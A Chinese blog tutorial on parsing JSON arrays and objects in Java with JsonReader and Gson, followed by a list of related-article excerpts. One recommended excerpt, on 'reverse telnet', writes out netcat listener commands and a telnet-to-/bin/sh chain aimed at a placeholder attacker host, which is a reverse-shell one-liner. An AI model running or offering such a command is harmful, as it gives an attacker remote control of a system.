json格式的数据一般就是两种类型的,一种是数组类型的,一种是对象类型的。

数组类型:[{"id":"a001","name":"zhangsan","age":20,"sex":"male","address":"beijing"},{"id":"a002","name":"lisi","age":20,"sex":"female","address":"beijing"}]

对象类型:{"id":"a001","name":"zhangsan","age":20,"sex":"male","address":"beijing"}

第一种方式:使用JsonReader对象来解析数组类型的json数据。 具体实现方式请参考一下代码。

public static List<Student> jsonReaderToJsonParser(String jsonData) {
list = new ArrayList<Student>();
// 使用jsonreader对象解析json数据,使用new 关键字实例化一个JsonReader对象
@SuppressWarnings("resource")
JsonReader jsonReader = new JsonReader(new StringReader(jsonData));
try {
jsonReader.beginArray();// 开始解析数组[{key:value,key:value},{key:value,key:value}]
while (jsonReader.hasNext()) {// 判断是否有下一个数组,如果有,就进入
jsonReader.beginObject();// 开始解析一个json对象{key:value,key:value}
student = new Student();
while (jsonReader.hasNext()) {
String keysName = jsonReader.nextName(); // 获得Key的名称
if (keysName.equals("id")) {
student.setId(jsonReader.nextString());
} else if (keysName.equals("name")) {
student.setName(jsonReader.nextString());
} else if (keysName.equals("sex")) {
student.setSex(jsonReader.nextString());
} else if (keysName.equals("age")) {
student.setAge(Integer.parseInt(jsonReader.nextString()));
} else if (keysName.equals("address")) {
student.setAddress(jsonReader.nextString());
} }
list.add(student);
jsonReader.endObject(); // 结束json对象的解析 } jsonReader.endArray(); // 结束数组的解析 } catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return list;
}

第二种方式:使用google提供的Gson工具解析对象类型的json数据。具体实现方式请参考一下代码。

// 解析json对象,通过Gson对象的fromJson方法将json对象直接转换成Student实体对象("{\"id\":\"A001\",\"name\":\"zhangsan\",\"sex\":\"male\",\"age\":20,\"address\":\"beijing\"}")
public static List<Student> gsonToJsonParser(String jsonData) {
//实例化一个List数组
list = new ArrayList<Student>();
//创建一个Gson对象
Gson gson = new Gson();
//调用Gson对象的fromJson函数,返回一个Student对象
Student student = gson.fromJson(jsonData, Student.class);
list.add(student);
return list;
}

第三种方式:使用Gson工具解析数组类型的json数据

    // 解析json数组,通过使用Gson对象的fromJson方法装载json数据
public static List<Student> parseStudentFromJson(String jsonData) {
list = new LinkedList<Student>();
// 实例化一个Type对象
Type listType = new TypeToken<LinkedList<Student>>() {
}.getType();
// 实例化一个Gson对象
Gson gson = new Gson();
// 通过调用Gson的fromJson函数返回一个List集合的数组
list = gson.fromJson(jsonData, listType);
return list;
}

解析json数据总结的更多相关文章

  1. 使用Python解析JSON数据的基本方法

    这篇文章主要介绍了使用Python解析JSON数据的基本方法,是Python入门学习中的基础知识,需要的朋友可以参考下:     ----------------------------------- ...

  2. 使用jQuery解析JSON数据

    我们先以解析上例中的comments对象的JSON数据为例,然后再小结jQuery中解析JSON数据的方法. 上例中得到的JSON数据如下,是一个嵌套JSON: {"comments&quo ...

  3. [转]javascript eval函数解析json数据时为什加上圆括号eval("("+data+")")

    javascript eval函数解析json数据时为什么 加上圆括号?为什么要 eval这里要添加 “("("+data+")");//”呢?   原因在于: ...

  4. 用jquery解析JSON数据的方法以及字符串转换成json的3种方法

    用jquery解析JSON数据的方法,作为jquery异步请求的传输对象,jquery请求后返回的结果是 json对象,这里考虑的都是服务器返回JSON形式的字符串的形式,对于利用JSONObject ...

  5. Android中使用Gson解析JSON数据的两种方法

    Json是一种类似于XML的通用数据交换格式,具有比XML更高的传输效率;本文将介绍两种方法解析JSON数据,需要的朋友可以参考下   Json是一种类似于XML的通用数据交换格式,具有比XML更高的 ...

  6. fastjson生成和解析json数据,序列化和反序列化数据

    本文讲解2点: 1. fastjson生成和解析json数据 (举例:4种常用类型:JavaBean,List<JavaBean>,List<String>,List<M ...

  7. 通过js获取前台数据向一般处理程序传递Json数据,并解析Json数据,将前台传来的Json数据写入数据库表中

    摘自:http://blog.csdn.net/mazhaojuan/article/details/8592015 通过js获取前台数据向一般处理程序传递Json数据,并解析Json数据,将前台传来 ...

  8. JSONKit解析json数据

    先将第三方文件拖进工程 JSONKit.h和JSONKit.m 然后设置在ARC工程中添加MRC文件,如下图所示 #import "ViewController.h" #impor ...

  9. Android网络之数据解析----使用Google Gson解析Json数据

    [声明] 欢迎转载,但请保留文章原始出处→_→ 生命壹号:http://www.cnblogs.com/smyhvae/ 文章来源:http://www.cnblogs.com/smyhvae/p/4 ...

  10. 使用jQuery解析JSON数据(由ajax发送请求到php文件处理数据返回json数据,然后解析json写入html中呈现)

    在上一篇的Struts2之ajax初析中,我们得到了comments对象的JSON数据,在本篇中,我们将使用jQuery进行数据解析. 我们先以解析上例中的comments对象的JSON数据为例,然后 ...

随机推荐

  1. 反向telnet连接

    首先使用nc工具进行监听: nc -l -n -v -p 80 nv -l -n -v -p 25 然后: /bin/telnet evil_hackers_ip 80 | /bin/sh | /bi ...

  2. /proc/sys/vm/ 内存参数

    linux下proc里关于磁盘性能的参数 http://blog.csdn.net/eroswang/article/details/6126646  我们在磁盘写操作持续繁忙的服务器上曾经碰到一个特 ...

  3. [原创]SQL SERVER 2008R2 技术总结专题目录索引

    前言:      在工作中使用了SQL SERVER 2008R2已经很长一段时间了,工作中自己也有个蛮好的习惯:总是喜欢将碰到的一些问题.技术方案等记录下来,现在越积越多,最近也比较轻松了,准备整理 ...

  4. windows和linux中检查端口是否被占用

    一.windows 1.查询端口占用情况 cmd > netstat -ano 2.查询8080端口是否被占用 cmd > netstat -ano|findstr 8080 3.查询哪个 ...

  5. ls 显示目录和文件的技巧

    摘自 http://hi.baidu.com/zaoyuan1217/blog/item/fd69575660366b4fd10906b9.html 要列出当前目录下所有的文件名和目录名直接使用ls命 ...

  6. The Kernel Newbie Corner: Kernel Debugging Using proc "Sequence" Files--Part 1

    转载:https://www.linux.com/learn/linux-career-center/37985-the-kernel-newbie-corner-kernel-debugging-u ...

  7. java 输入输出 io

    学习JAVA  输入输出篇 java不像C中拥有scanf这样功能强大的函数,大多是通过定义输入输出流对象.常用的类有BufferedReader,Scanner.实例程序:一,利用 Scanner ...

  8. Java基础知识强化之IO流笔记82:NIO之 Pipe(管道)

    1. Java NIO 管道是2个线程之间的单向数据连接.Pipe有一个source通道和一个sink通道.数据会被写到sink通道,从source通道读取. 这里是Pipe原理的图示: 2. Pip ...

  9. Java Script基础(七) HTML DOM模型

    一.HTML DOM. HTML DOM的特性和方法是专门针对HTML的,HTML中的每个节点都是一个对象,通过访问属性和方法的方式,让一些DOM操作更加简便,在HTML DOM中有专门用来处理白哦个 ...

  10. Delphi数组复制

    const AA : arrary[0..4] of byte =(0,1,2,3,4) var BB : arrary[0..4] of byte; begin BB := AA ;   {这样是错 ...